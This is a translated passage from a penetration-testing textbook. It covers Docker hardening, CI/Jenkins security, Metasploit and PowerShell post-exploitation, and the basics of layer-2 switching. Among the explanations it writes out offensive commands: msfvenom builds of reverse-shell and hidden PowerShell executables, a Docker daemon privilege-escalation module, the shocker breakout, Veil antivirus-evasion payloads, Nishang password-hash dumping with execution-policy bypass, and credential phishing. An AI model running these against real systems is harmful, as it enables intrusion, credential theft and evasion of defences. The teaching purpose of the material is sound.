Docker 容器是一种虚拟化形式,但开发人员不需要创建整个虚拟机,而是需要创建容器。换句话说,Docker 容器是没有创建虚拟机的麻烦的小型虚拟机。以下图表显示了虚拟机和 Docker 容器之间的区别:

部署 Docker 容器将使开发人员能够降低成本,同时提供轻量级和可扩展的环境。

现在,让我们回到现在。要安装 Docker,我们将使用 Ubuntu 16.04(也可以使用 Kali Linux)机器进行演示。

首先,为官方 Docker 存储库添加 GPG 密钥:

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

将 Docker 存储库添加到 APT 源:

sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" sudo apt-get update

最后,安装 Docker:

sudo apt-get install -y docker-ce

要检查 Docker 守护程序,可以使用systemct1命令:

sudo systemctl status docker

有关 Docker 的更多信息,只需键入:

sudo docker info

要获取 Docker 版本,请使用以下命令:

 sudo docker version

典型的 Docker 命令格式是:

docker [option] [command] [arguments]

Docker 容器基于一组参数和文件系统的镜像。要检查 Docker 容器中的所有镜像,请键入:

 docker images

要运行一个镜像,使用run命令:

docker run <Image_Here>

Docker 还具有许多其他令人惊叹的功能。您可以使用 Docker 命令进行检查。以下是一些 Docker 命令:

  • create:创建新容器

  • cp:复制文件

  • exec:在容器中执行命令

  • kill:杀死正在运行的容器

  • network:检查 Docker 网络

  • ps:列出容器

  • build:基于 Dockerfile 构建容器

您可以通过键入sudo docker来检查所有可用命令:

Dockerfile 是一个包含有关所需镜像的环境、文件和命令信息的文本文件。您可以使用任何普通文本编辑器进行编辑。以下是 elasticsearch(elasticsearch 是一个分布式 RESTful 搜索和分析引擎)的 Dockerfile 示例:

要从 Dockerfile 构建镜像,请键入:

sudo docker build -t <image>

在演示中,我正在使用 Microsoft Azure 云平台。您可以从这里访问 Azure 官方网站www.azure.com。因此,要构建一个镜像,我创建了一个 Azure 容器注册表并登录:

单击“新建”并创建新的 Azure 容器注册表:

要登录,我使用了login命令:

为了检查我们是否成功部署了环境,我使用了pull命令,该命令从注册表中拉取图像或存储库,这是默认的 Microsoft Azure 图像:

docker pull microsoft/aci-helloworld

要运行一个 Docker 镜像的实例容器,我们需要使用run命令。

要列出所有可用的容器,请使用ps命令:

sudo docker ps

还有许多其他有用的容器命令,例如:

  • top:容器内的进程

  • stop:停止容器

  • rm:删除容器

  • stats:有关容器的统计信息

  • pause:暂停容器

Docker 容器基于以下工作流程的生命周期:

Docker 利用

您已经学会了如何安装和配置 Docker 容器。作为渗透测试人员,您需要了解 Docker 系统可能存在的安全问题和潜在威胁。根据 ClusterHQ 在 2015 年的数据,超过 60%的企业对 Docker 生产环境中的容器安全问题更为关注。Docker 容器面临许多安全问题。为此,渗透测试人员应考虑以下常见容器安全挑战和向量:

  • 内核利用

  • 拒绝服务DoS

  • 容器越狱

  • 被感染的镜像

  • 数据窃取

内核利用

Docker 容器正在服务器上运行,但请记住有一个内核实际上,所有进程共享相同的内核 Docker 具有许多功能,例如:

  • chown:更改任何文件的所有权

  • fowner:绕过需要进程 UID 和文件 UID 相同的操作的权限检查

  • kill:向非根进程发送终止信号

  • setgid:操纵进程 GID 和 GID 列表

  • setuid:操纵进程 UID

  • net_raw:允许使用原始和数据包套接字

要检查可用的功能,可以使用pscap命令。在此之前,您需要确保已安装libcap-ng-utils依赖项:

sudo apt-get install libcap-ng-utils

设置用户 IDSUID)在执行时和设置组 IDSGID)在执行时在第二章中已经讨论过,高级 Linux 利用。它们是代表访问权限的两个术语。它们允许用户以与其所有者相同的权限执行二进制文件。这两个执行可能会被攻击者利用。这就是为什么您需要配置 Dockerfile 以禁用setuid权限。

要丢弃一个功能,使用选项:--cap-drop =

例如,如果您想要丢弃setgid功能,可以运行以下命令:

docker run -d --cap-drop= mknod sudo docker run  --cap-drop=mknod  -t -i --volumes-from kali-data kali

如果您想放弃所有功能,并且只想运行setfcap,请使用以下命令:

sudo docker run  --cap-drop=all --cap-add=setfcap  -t -i --volumes-from kali-data kali

作为安全措施,您需要通过修改 Dockerfile 来禁用setuid权限:

RUN find / -perm +6000 -type  f -exec chmod a-s {} \; \ || true

DoS 和资源滥用

DoS 对 Docker 平台构成严重威胁。 Docker 面临许多 DoS 威胁,例如:

  • 待处理信号

  • Posix 消息队列

  • 最大用户进程

  • 最大文件

为了防御这些攻击,我们需要:

  • 使用-m选项分配内存限制:
docker run  -d -m  512m  <Image_Name>
  • 使用-c选项限制 CPU 份额(默认为 1,024):
docker run  -d -c  512  <Image_Name></strong>

Linux 内核中的另一个功能是使用cgroups(控制组)和--cpu-set-cpus标志来限制访问进程。您可以通过查看以下插图来更清楚地了解。

Docker 越狱

Docker 突破是绕过 Docker 容器的隔离层,转向主机并以授权方式访问信息的操作,以及试图获取更高权限(特权升级)的过程。Docker 突破可以通过一些不同的攻击向量来实现。第一个向量是之前讨论过的威胁:内核漏洞。滥用特权是另一种 Docker 突破技术。攻击者可以使用容器间通信icc),允许容器相互通信。为了保护 Docker,你需要将 -icc 标志设置为 false,并配置 iptables

docker -d --icc=false --iptables

Docker 在内核和容器之间扮演中间件角色。作为安全措施,它列入了内核调用的黑名单,但在 2015 年,有一个利用了一个未被阻止的内核调用 CAP_DAC_READ_SEARCH 的漏洞被提出,允许攻击者突破 Docker 隔离并潜入容器。这段代码被命名为 the shocker,并被作为突破演示进行了展示。你可以从这个 github.com/gabrtv/shocker 存储库克隆它的概念证明:

sudo git clone https://github.com/gabrtv/shocker

要测试利用漏洞,你只需要使用 docker run 命令:

root@Demo:~# docker run gabrtv/shocker

Docker 依赖于一个名为 Docker 守护程序的守护程序。它需要 root 权限。不受信任的用户构成严重威胁。为了获得 root 访问权限,攻击者可以使用 Docker 守护程序特权升级 Metasploit 模块:

msf > use exploit/linux/local/docker_daemon_privilege_escalation msf exploit(docker_daemon_privilege_escalation) > show targets ...targets... msf exploit(docker_daemon_privilege_escalation) > set TARGET <target-id> msf exploit(docker_daemon_privilege_escalation) > show options ...show and set options... msf exploit(docker_daemon_privilege_escalation) > exploit

被感染的镜像

在 Docker Hub 上,有超过 100,000 个预构建的容器和镜像。镜像是 Docker 容器的重要组成部分。实际上,容器是基于镜像构建的。这就是为什么你需要确认 Docker 镜像的真实性。镜像在互联网上随处可见,因此检查 Docker 镜像是必须的,因为你不希望在基础设施上运行任意程序。要验证 Docker 镜像,使用 pull 命令来验证镜像是否已签名。换句话说,如果拉取成功,则镜像已经验证。此外,确保你的设置与 DOCKER_CONTENT_TRUST=1 匹配。

数据库密码和数据窃取

在使用 Docker 时,你将每天处理密码和凭据。敏感信息和密码通常对攻击者非常有吸引力。此外,通过添加 --read-only 选项将文件系统设置为只读是一个明智的决定:

docker run --read-only  kali

Docker bench security

Docker 提供了一个重要的脚本,名为 Docker bench security。它非常有用,可以收集和报告信息、警告和通过简单输出传递消息。你可以从其官方 GitHub 存储库 github.com/docker/docker-bench-security: 克隆 bench:

sudo git clone https://github.com/docker/docker-bench-security

运行脚本,它将检查 Docker,感谢预定义的最佳实践。基本上,它基于 CIS Docker 社区版基准 v1.1.0:

./docker-bench-security.sh

使用 Clair 进行 Docker 漏洞静态分析

Clair 是一个用于静态分析 Docker 容器中漏洞的开源项目。它允许渗透测试人员识别容器中的漏洞。你可以在其官方存储库 github.com/coreos/clair. 找到它的官方存储库:

Clair 项目由以下七个组件组成,如图所示:

  • 内容检测器

  • 数据存储

  • 漏洞更新程序

  • RESTful API

  • 通知器

  • 客户端

  • 漏洞数据库

要构建一个 Dockernized 环境,请访问官方的 QUAY 网站 quay.io/

用所需的信息完成你的个人资料:

创建一个新的存储库并选择其可见性:

选择一个指向你的存储库的链接,例如,我使用了一个 Dockerfile:

等待直到构建操作完成:

如果你点击构建,你会看到 Dockerfile 的内容:

等待几分钟来完成操作:

要使用安全扫描程序,您需要一个企业账户:

完成配置文件后,您将能够使用 Quay 安全扫描程序检查是否存在一些常见的 Docker 漏洞:

构建一个渗透测试实验室

在之前的章节中,我们发现了 Docker 容器的强大功能,并学会了如何防御 Docker 的利用技术。让我们继续学习 Docker 容器的另一个方面。在本节中,您将学习如何基于 Docker 化环境构建一个渗透测试实验室。

我们开始使用 Kali Linux 发行版进行学习,所以我们将使用相同的发行版作为演示。

首先,让我们从 GitHub 克隆一个 Kali Linux 容器文件,使用git clone命令:

git clone https://github.com/offensive-security/kali-linux-docker.git

打开 Dockerfile 并添加任何额外的配置:

例如,我添加了metasploit-framework

现在,让我们使用build命令构建镜像:

sudo docker build -t kali ~/kali-linux-docker

完成pull操作后,文件将被提取:

为了保持数据并使其持久化,确保您为 Kali Linux 创建一个附加卷来保存您的文件,即使在重新启动系统后也是如此:

sudo docker create -v /tmp --name kali-data ubuntu

sudo docker run -t -i --volumes-from kali-data kali

现在你可以看到,你在实例中:

哇!您的实验室现在已经准备好了。例如,如果您想运行 Metasploit,只需输入msfconsole

您还可以在 Docker 化环境中运行任何其他 Kali Linux 工具。通过这样做,您将结合 Docker 的灵活性和 Kali Linux 发行版的强大功能。

总结

本章是一个动手学习如何安装和配置 Docker 的经验。您了解了 Docker 环境的功能以及如何保护它。您还通过构建一个渗透测试实验室发现了 Docker 的强大之处。在下一章中,我们将清楚地了解如何保护持续集成CI)服务器。

第六章:利用 Git 和持续集成服务器

持续集成CI)和持续交付CD)正在成为现代软件开发的两个重要部分。本章是一个了解如何保护 CI 服务器的绝佳机会。我们将从头开始学习软件开发方法和 CI 的构建。除了学习如何从头开始构建 CI 环境,我们还将了解如何保护 CI 和 CD 流水线需要做些什么。

软件开发方法论

像任何项目一样,软件项目需要经历明确定义的步骤才能得到良好的管理。为了确保高效的项目管理,软件开发项目需要一系列步骤:

  1. 需求

  2. 设计

  3. 实施

  4. 验证

  5. 维护

步骤如下:

根据业务需求,先前的步骤通过不同的方法进行。有许多开发方法论:

  • 瀑布方法论:这是一种线性和顺序的方法论;在其中不能回头。

  • 原型方法论:在这种方法论中,产品被反复构建和测试。

  • 螺旋方法论:这种方法论是有风险和成本高昂的,因为它通过迭代开发过程(目标识别、替代方案、约束和规划)来完成。

  • 敏捷方法论:敏捷方法论是基于迭代和增量的方法,创造了一个灵活和快速适应的环境。有许多著名的敏捷方法,例如:

  • 水晶:这种方法论基于人员的沟通和互动。

  • Scrum:这是一种敏捷方法论(甚至有一些专家认为它是敏捷运动的重要组成部分,而不是一种敏捷方法论),用于将软件开发项目分解为在特定时间段内进行的冲刺

  • 极限编程XP):包括短期开发周期,并与客户需求保持一致。

  • 特征驱动开发FDD):这是一种以特征和客户为中心的方法论。

敏捷开发方法论比其他经典方法论风险较小。以下图表显示了敏捷开发周期:

持续集成

CI 是一种软件开发实践,开发人员有机会在项目结束之前每天多次集成他们的代码。如今,CI 是每个软件项目中的关键实践。这些频繁的检查解决了经典的集成问题,并使开发人员和 CI 采用者获得以下好处:

  • 在短时间内检测错误

  • 轻松检测和定位问题

  • 更快地交付软件产品

CI 采用是避免紧张集成的重要一步,并且它能够及时交付软件,因为不准确的时间和工作量估计是项目失败的主要原因,另外还有各个层面缺乏有效沟通。CI 基于自动化。自动化是 CI 的一个重要方面。因此,测试的自动化将确保更快的开发和产品上市时间。

测试类型

如前所述,自动化任务在 CI 中是必不可少的。您可以执行许多类型的测试,而不一定要一次执行所有测试。根据 Mike Cohn 介绍的测试自动化策略,测试可以用以下金字塔表示:

单元测试范围狭窄,通常验证单个方法或函数的行为。

集成测试确保多个组件正确地一起运行。这可能涉及多个类,以及与其他服务的集成测试。

验收测试类似于集成测试,但它们侧重于业务案例而不是组件本身。

UI 测试将确保应用程序从用户角度正确运行。

以下是 CI 环境的总结:

持续集成与持续交付

CICD的一个子集。在 CD 过程中,我们添加了一个额外的层,用于在发布过程中自动化交付。这个额外的步骤确保即使在产品发布和交付给客户之后,您也可以根据预定的时间表(每天、每周、每月等)根据业务需求快速进行新的更改。如果所有测试都成功,新的更改将被自动部署,从而以高效的方式加快产品向客户的发布。

为了加快流程,您可以添加一个称为持续部署的进一步步骤。以下图表显示了三个操作:

DevOps

DevOps是一种增强的实践,它在整个产品生命周期中使开发人员和运营经理之间能够进行协作。这是一组工具和思维原则,用于成功地建立两方之间的沟通渠道。通过查看以下图表,您可以更清楚地了解:

使用 GitHub 和 Jenkins 进行持续集成

我们已经概述了开发方法和不同的产品生命周期过程。现在让我们学习如何使用 GitHub 和 Jenkins CI 服务器构建真实的 CI 环境,如下所示:

Jenkins 是一个开源的自动化服务器。由于它具有自动化任务的能力,它可以执行 CI。您可以从jenkins.io/:下载它。

安装 Jenkins

在演示中,我们将使用 Ubuntu 16.04 机器。要安装 Jenkins,您需要添加存储库密钥,使用echo命令将 Jenkins Debian 软件包存储库添加到sources.list文件,并通过输入以下内容来更新sources.list文件:

apt-get update

现在,使用apt-get install Jenkins命令安装 Jenkins:

您可以通过输入以下内容来检查 Jenkins 服务是否正在运行:

sudo service --status-all

通过输入sudo ufw allow 8080来为 Jenkins 打开端口8080

访问https://www.<your domain/IP here>.com:8080并完成所需的配置:

选择您的插件模式:

创建一个管理员用户,保存,然后我们完成了:

大功告成!

创建一个新项目并完成配置:

持续集成攻击

像任何现代组织一样,宝贵的资产、持续集成和 CD 服务器是高度的目标,因为它们代表着入侵生产系统的良好入口点。有许多危险的攻击威胁 CI 服务器。以下是一些 CI/CD 服务器攻击的示例:

  • 使用 CI 进行反向 shell

  • 未经授权提交到主分支

  • Jenkins-CI 脚本控制台 Java 执行

持续集成服务器渗透测试

保护 CI 和 CD 服务器至关重要。建立安全控制对于保护流水线至关重要,因为它们是源代码和生产服务器之间的桥梁。

Rotten Apple 项目用于测试持续集成或持续交付系统的安全性

Rotten Apple 项目是一个开源项目,旨在为开发人员和渗透测试人员在测试 CI 服务器时提供简单高效的体验,通过提供各种功能和能力。

您可以通过输入sudo git clone https://github.com/claudijd/rotten_apple来从其 GitHub 存储库克隆项目。

使用 Zed Attack Proxy 进行持续安全性

Zed Attack ProxyZAP),如图所示,是一个著名的开源安全工具。它具有各种对渗透测试人员有用的功能。ZAP 可以作为额外的 CI 安全层发挥重要作用。换句话说,它可以成为 Web 应用程序的持续安全层。ZAP 和 Jenkins 提供了体验额外组件的可能性。然后,您不仅仅是按时交付软件项目,而是增强了 CI/DI 管道的安全性:

感谢 ZAP Jenkins 插件,您可以增强 CI 环境的安全性。测试后,ZAP 将以不同格式(XHTML、XML 和 JSON)生成报告。

要安装 ZAP 插件,可以使用 Web 界面:转到“管理 Jenkins -> 管理插件”。

使用过滤栏搜索 ZAP,如下面的屏幕截图所示:

单击“无需重启安装”:

转到作业并在构建选项中选择运行 OWASP ZAP 代理:

完成所需的配置,最后构建作业:

摘要

本章概述了 CI 服务器的潜在力量及其对企业的好处。因此,我们了解了如何逐步构建 CI 环境,并了解了保护 CI/CD 服务器所需的步骤。下一章将带您进行一次深入的旅程,您将了解如何使用 Metasploit 和 PowerShell 来攻击组织基础设施。

第七章:Metasploit 和 PowerShell 用于后期利用

在之前的章节中,您学习了PowerShell作为攻击平台的强大功能。这只是个开始。现在是时候感受它作为执行复杂攻击的完美工具的真正力量了,而且我们还将发现如何与Metasploit Framework并行使用它。

在本章中将涵盖以下主题:

  • Metasploit Framework

  • PowerShell 基础知识

  • PowerShell 有效载荷模块

  • Nishang PowerShell 用于渗透测试和攻击性安全

解剖 Metasploit Framework

Metasploit Framework 是最知名的开源利用工具。它最初是由 HD Moore 用 Perl 开发的,但后来转移到了 Ruby。这个框架装载了许多对黑客和渗透测试人员有用的功能。要安装 Metasploit Framework,请访问www.rapid7.com/products/metasploit/download/并执行以下步骤:

  1. 选择您的计划,注册并选择您的操作系统。在这个演示中,我使用的是 Windows 64 位试用版:

  1. 您将收到一封带有试用激活密钥的电子邮件:

  1. 现在在您的机器上安装它:

  1. 看啊!您可以开始您的利用之旅:

Metasploit 架构

Metasploit 架构由许多重要组件组成。要充分利用 Metasploit 的功能,需要许多组件:

  • 工具:这是一组有用的实用程序

  • 插件:这些是运行时可加载的扩展

  • :这些是有用的 Ruby 库

  • 接口:这些使用户能够以不同的方式访问 Metasploit(例如 CLI 和 web)

  • 模块:这些是执行特定任务的组件

这张图解释了 Metasploit 框架的架构:

模块

Metasploit Framework 使用许多模块。如果您在 Kali Linux 发行版中使用 Metasploit Framework,您可以列出这些模块。转到/usr/share/metasploit-framework/modules并使用ls命令来探索它们,如下面的屏幕截图所示:

利用

正如我们在旅程中讨论的,利用是黑客攻击中的一个重要步骤。事实上,Metasploit 通过加载的利用给黑客和安全专业人员提供了巨大的利用能力。这个阶段不仅会通过找到利用漏洞的真实证据来最小化漏洞工具和扫描器的误报率,而且还会导致后期利用。在野外有三种类型的利用:

  • 服务器端漏洞

  • 客户端漏洞

  • 本地权限提升

有效载荷

有效载荷是利用模块。有两种有效载荷类别:分段。内联有效载荷(或单个有效载荷)是全包容和独立的。分段有效载荷包含多个有效载荷的部分,称为分段器。换句话说,完整的有效载荷由分段器组成:

Metasploit 装载了各种类型的有效载荷:

  • 绑定 shell:这些只是等待黑客连接或发送指令。如果受害者直接连接到机器,它们是一个不错的选择:

  • 反向 shell

  • 监听器

  • 阶段

  • Meterpreter:它们是专门的命令环境。它们完全在被利用进程使用的内存中工作。您可以使用许多 Meterpreter 命令进行后期利用,例如:

  • sysinfo

  • getsystem

  • getuid

  • reg

  • background

  • ps

  • kill

作为渗透测试人员,Meterpreter 将为您提供许多其他方便的命令,例如:

    • ifconfig
  • route

  • portfwd

  • webcam_list

  • webcam_snap

  • record_mic

  • screenshot

  • idletime

  • uictl

  • 偏执 Meterpreter 有效载荷:这些使用签名的 SSL/TLS 证书。

  • 无分段 Meterpreter 有效载荷:这些包含启动会话所需的所有内容。

辅助

辅助执行各种任务,包括扫描、DNS 查询等:

  • auxillary/scanner/portscan/tcp:连接扫描

  • auxiliary/scanner/portscan/syn:半开放式 SYN 隐秘扫描

  • auxiliary/scanner/discovery/udp_sweep:UDP 扫描

编码器

编码器用于规避检测,因为直接使用 Metasploit 生成有效载荷并不明智,因为大多数反恶意软件程序都会检测到它。因此,可以使用编码器来对有效载荷进行编码,因为有许多可用的编码器:

NOPs

NOP 是汇编代码中 No Operation 的缩写。它确保任何未使用的空间对处理器执行仍然有效,没有任何影响。在 Metasploit 中,它们用于保持有效载荷大小的一致性。

Posts

Posts 用于利用后(成功利用系统后)。您可以在/usr/share/metasploit-framework/modules/post中找到利用后模块,或者只需在 Metasploit 控制台中输入show post

msf> show post

要了解有关某个 post 的更多信息,请使用info命令。例如,如果您想了解有关golden_ticket post 模块的更多信息,只需输入info post/windows/escalate/golden_ticket

这个神奇的工具还可以使用 loadpath 命令加载自己的模块:

启动 Metasploit

要启动 Metasploit,您需要打开 shell 并输入msfconsole。以下截图代表 Metasploit 的控制台模式(msfconsole)。正如讨论的那样,Metasploit 还有其他接口,如msfcli(类似于msfconsole,但不是交互式的),msfgui(图形版本)和armitage(强大的 GUI 界面)。

以下截图是msfcli的:

Metasploit 命令包括:

  • help:提供有关如何使用功能的信息

  • show payloads:列出可用的有效载荷

  • show exploits:列出可用的利用

  • show options:列出所需的选项

  • msfupdate:更新 Metasploit

  • use:使用模块

  • search:搜索功能

  • exploit:启动利用

在深入了解 Metasploit 强大的命令之前,让我们先检查 Metasploit 框架的组件:

  • msfpayload:在利用后要在目标机器上运行的脚本。

  • msfencode:用于避免检测有效载荷的神奇实用程序。

  • msfvenom:这类似于前两个实用程序的组合。这是 Metasploit 中的一个新功能:

您可以通过输入以下内容来检查可用的有效载荷格式:

# msfvenom --help-formats

例如,如果要生成 Windows 有效载荷,请输入以下内容:

# msfvenom -p windows/shell/reverse_tcp LHOST=[YourIPaddress]
LPORT=8080  - f exe > [A_Specific_PATH]/  payload.exe

使用 Veil-Framework 绕过防病毒软件

作为渗透测试人员,永远记住您正在模拟真实世界的攻击,在现实世界中,黑客正在尝试使用许多技术绕过防病毒保护。Veil-Framework 是一个避免有效载荷检测的绝妙工具。要安装 Veil 3.0,您需要从其官方 GitHub 来源github.com/Veil-Framework/Veil下载它:

# git clone https://github.com/Veil-Framework/Veil

现在您只需要从辅助主菜单中选择一个任务:

要生成有效载荷,请选择list,然后输入use 1

要列出所有可用的有效载荷,请像往常一样使用list

使用use命令选择您的有效载荷:

输入generate来创建有效载荷:

完成选项后,您将生成一个无法检测的有效载荷,就是这么简单:

您还可以使用 Metasploit 进行 Nmap 扫描,将结果导出并稍后从数据库导入(Metasploit 使用 PostgreSQL 数据库):

Msf> nmap [target] -oX [output]

Metasploit 是一个令人难以置信的工具。因此,它为渗透测试人员提供了大量的功能;其中之一是能够将结果导出到诸如 PostgreSQL 之类的数据库。如果您已经安装了 PostgreSQL,可以使用 Metasploit 的db_connect实用程序验证 Metasploit 与数据库之间的连接:

msf> db_connect postgres:myPassword@127.0.0.1/pentester msf> db_status

Metasploit 通过添加searchsploit实用程序来简化搜索大量利用。您可以添加最多三个搜索词。

例如,# searchsploit local

编写自己的 Metasploit 模块

如前所述,白帽黑客应该知道如何编写自己的工具和脚本。因此,让我们看看如何创建一个简单的 Metasploit 模块。在这个演示中,我们将使用 Ruby 作为编程语言,并构建一个 TCP 扫描器。

首先,创建一个 Ruby 文件:

require 'msf/core'
class Metasploit3 <Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def intialize
super(
'Name' => 'TCP scanner',
'Version' => '$Revisiov: 1 $',
'Description' => 'This is a Demo for Packt Readers',
'License' => MSF_LICENSSE
)
register_options([
opt::RPORT(3000)
], self.class)
end
def run_host(ip)
connect()
greeting = "Hello Cybrary"
sock.puts(greeting)
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
end
end

要测试响应,请创建一个名为server.txt的文本文件,并设置 netcat 监听器。现在,将其保存在usr/share/metasploit-framework/modules/auxiliary/scanner

nc -lnvp 3000 < server.txt

打开 Metasploit,键入use scanner/TCPScanner

您可以通过包括include Msf::Auxiliary::Report来报告结果。

例如,您可以使用这种方法:

results ( :host => rhost, :data => data )

Metasploit 持久性脚本

持久性是每次成功的黑客攻击中的主要需求。Metasploit Framework 带有两个主要的持久性脚本:

  • S4U 持久性(计划持久性):要使用它,请键入use exploit/windows/local/s4u_persistence

  • 卷影副本服务持久性(VSS 持久性):要使用它,键入use exploit/windows/local/vss_persistence

这里有一些持久性的额外选项:

  • Metasploit 服务(或Metsvc

  • VNC 注入

您可以使用 Windows 二进制文件。要定位这些二进制文件,转到/usr/share/windows-binaries path

武器化的 PowerShell 与 Metasploit

在之前的章节中,我们见证了 PowerShell 及其潜力的力量。这只是开始;现在,我们准备将其力量发挥到下一个级别。结合 Metasploit 和 PowerShell 的灵活性是执行更多定制攻击和安全测试的绝佳机会。

交互式 PowerShell

PowerShell 攻击已经集成到 Metasploit 中。您可以使用search命令进行检查:

msf> search powershell

在第四章,活动目录利用中,您学习了如何使用 PowerShell 执行一些任务。现在是时候学习如何使用 PowerShell 与 Metasploit。例如,您可以使用msfvenom实用程序将 PowerShell 脚本转换为可执行文件进行演示:

>msfvenom    -p    windows/powershell_reverse_tcp LHOST=192.168.1.39    LPORT=4444    -f    exe    >    evilPS.exe >msfvenom  -p     windows/exec     CMD=“powershell     -ep     bypass     -W     Hidden     -enc   [Powershell script Here]”    -f    exe    -e    x86/shikata_ga_nai    -o   /root/home/ghost/Desktop/power.exe

PowerSploit

PowerSploit 是信息安全专业人员,特别是渗透测试人员使用的一组令人惊叹的 PowerShell 脚本。要下载 PowerSploit,您需要从其官方 GitHub 存储库github.com/PowerShellMafia/PowerSploit获取:

# git clone https://github.com/PowerShellMafia/PowerSploit 

克隆项目后,使用ls命令列出文件:

从以下截图中,您可以注意到 PowerSploit 包含许多惊人的脚本,用于执行许多任务,例如:

  • 绕过杀毒软件

  • 外泄

  • 持久性

  • PowerSploit

  • PowerUp

  • PowerView

Nishang - 用于渗透测试的 PowerShell

Nishang 是一个用于执行许多渗透测试阶段任务的工具集。您可以从github.com/samratashok/nishang获取它:

# git clone https://github.com/samratashok/nishang

从下载的项目列表中可以看出,Nishang 加载了许多不同的脚本和实用程序,用于在渗透测试任务期间执行许多所需的任务,例如:

  • 权限提升

  • 扫描

  • 枢纽

您可以使用ls命令列出 Nishang 项目的所有可用脚本:

让我们在 Windows 机器上探索一些 Nishang 脚本的强大功能:

您可以使用Import-Module PowerShell 命令导入所有模块:

哎呀,出了点问题!别担心,为了使用Import-Module,您需要以管理员身份打开 PowerShell,并输入Set-ExecutionPolicy -ExecutionPolicy RemoteSigned

然后你可以导入模块:

现在,如果您想要使用Get-Information模块,只需输入Get-Information

如果您想要揭示 WLAN 密钥,请输入Get-WLAN-Keys

您甚至可以在后渗透任务中从目标机器中转储密码哈希。借助Get-PassHashes模块,您可以转储密码哈希。这是我本地机器的输出:

但是,如果你想在获得 shell 后弹出命令,请使用:

Powershell.exe –exec bypass –Command “& {Import-Module '[PATH_HERE]/Get-PassHashes.ps1' , Get-PassHashes}”

您甚至可以使用Invoke-CredentialPhish进行钓鱼攻击,就像之前的演示一样。您可以在受害者的机器上运行这次攻击:

防范 PowerShell 攻击

在前几节中,我们介绍了使用 Metasploit 和 PowerShell 攻击机器的各种技术。现在是时候学习如何防御和减轻 PowerShell 攻击了。为了防范 PowerShell 攻击,您需要:

  1. 实施最新的 PowerShell 版本(在撰写本书时为版本 5)。要检查,请输入Get-Host

  1. 监视 PowerShell 日志。

  2. 确保最低特权策略和组策略设置。您可以使用本地组策略编辑器进行编辑。如果您使用的是 Windows 10 企业版,您还可以使用AppLocker

  1. 使用受限语言模式:
PS C:\Windows\system32> [environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
  1. 要检查受限语言模式,请输入:
 $ExecutionContext.SessionState.LanguageMode
  1. 这样,恶意脚本就无法运行:

总结

在本章中,您学会了如何同时使用 Metasploit 和 PowerShell 来渗透基础架构,并将攻击提升到下一个级别,从侦察开始,到保持访问和持久性。我们研究了架构和操作的两种武器。下一章将是一个新的体验,您将学习如何利用企业 VLANS,并从理论转向实际经验。

第八章:VLAN 利用

交换在任何现代网络中都是至关重要的组件。本章将带您进行学习体验,我们将在一方面发现如何对第 2 层进行攻击,另一方面将学习如何防御这些攻击。了解如何保护第 2 层是必要的,因为网络安全的强弱取决于最薄弱的一层。在我们的情况下,最薄弱的一层是第 2 层。损害它可能导致对堆栈中的其他层进行损害。在本章中,我们将涵盖以下主题:

  • 交换基础知识

  • MAC 攻击

  • 动态主机配置协议(DHCP)攻击

  • 虚拟局域网(VLAN)攻击

网络中的交换

交换是数据链路层(OSI 模型中的第 2 层)设备。它们的主要目标是通过接收交换数据包并将其转发到目标设备来连接网络设备。交换是连接设备的有效解决方案,尽管如果我们想要连接大量的终端设备(计算机,电话等)和节点,它并不实用。节点是从源到目的地传递信息而不修改信息或数据的实体;一组节点称为通信网络,如下图所示:

在交换中,有三种不同的技术:

  • 电路交换:这是发送方和接收方之间的固定通道,专用通道称为电路。一旦建立连接,即使电路没有完全使用,其他设备也不能使用通道,直到确定连接。这种类型的交换广泛用于电话网络。在电路交换期间,我们有以下三个步骤:通道建立,数据传输和连接确定。电路交换有两种类型:

  • 频分复用(FDM):复用是将许多信号合并成一个信号的过程。FDM 是一种操作,其中信道在不重叠的频率下进行划分。以下图示了 FDM 过程:

    • 时分复用(TDM):这是另一种复用操作,但它使用时间段而不是频率。这种操作比 FDM 更灵活和高效,如下图所示:

  • 分组交换:在这种交换技术中,数据以特定格式称为分组进行交换和转发。数据包由以下元素组成,如下图所示:

  • 数据:传输的信息

  • 头部:包含目的地地址

  • 尾部(可选):一般来说,这包含一些信息,以指示数据包的结束;有时,它用于错误检查:

在传输中,来自不同终端系统的数据包将进行复用;数据包也称为数据报

  • 消息交换:有时也称为存储-转发交换。在这种技术中,所有终端系统都接收消息,存储它,并将其转发到下一个设备。

局域网交换

在局域网中使用的接入方法是基于 IEEE 802.3 标准的以太网连接。我们根据连接带宽(10 Mbps(以太网),100 Mbps(快速以太网)或 1,000 Mbps(千兆以太网))有不同类型。以太网为您提供了从不同的以太网传输物理设备中进行选择,例如双绞线和光纤。

用于阻止设备同时发送信息的算法称为载波监听多路访问/冲突检测(CSMA/CD)。如下图所示,两个主机不能同时发送信息:

在以太网连接中,数据的流量由媒体访问控制MAC)地址确定。这个地址是一个独特的 48 位序列号。它由组织唯一标识符OUI)和供应商分配的地址组成,如下所示。它以十六进制格式表示:

在第 2 层的传输可以分为三种主要的数据传输方法:

  • 单播:这是从特定网络设备到另一个特定设备的传输模式。换句话说,这是一对一的传输模式。

  • 多播:在多播操作中,单个设备向多个网络设备发送数据。这是一种一对多的传输模式,其中设备向特定组发送数据。

  • 广播:这种传输模式类似于多播,但在广播操作中,网络设备向所有其他设备发送数据。在广播中,设备使用FF-FF-FF-FF-FF-FF MAC 地址(最高可能的 MAC 地址)。

以下图示说明了三种传输模式之间的区别:

在 LAN 交换中,我们有以下三种技术:

  • 存储转发交换:在存储转发交换中,交换机将所有帧存储在内存中,并在计算循环冗余检查CRC)后检查错误。如果根据帧中的位数存在错误,帧将被拒绝,否则将被转发,如下所示:

  • 切换式交换:在切换式交换中,交换机仅存储目标 MAC 地址并将其与其 MAC 表进行比较。这种技术比前一种技术更快,因为它只处理前 6 个字节:

  • 碎片免费交换:这种交换技术结合了前两种交换模式。它是一种混合交换技术。它类似于切换式交换,但是不是检查前 6 个字节,而是检查前 64 个字节,因为为了检测冲突,我们需要检查前 64 个字节。

MAC 攻击

MAC 地址是具有两个分配部分的唯一标识符——OUI 由 IEEE 分配,后 24 位由制造商分配。这些地址存储在一个称为内容可寻址存储器CAM)的表中。这个表有固定的大小。CAM 在操作后存储有关 MAC 地址的信息,如下图所示:

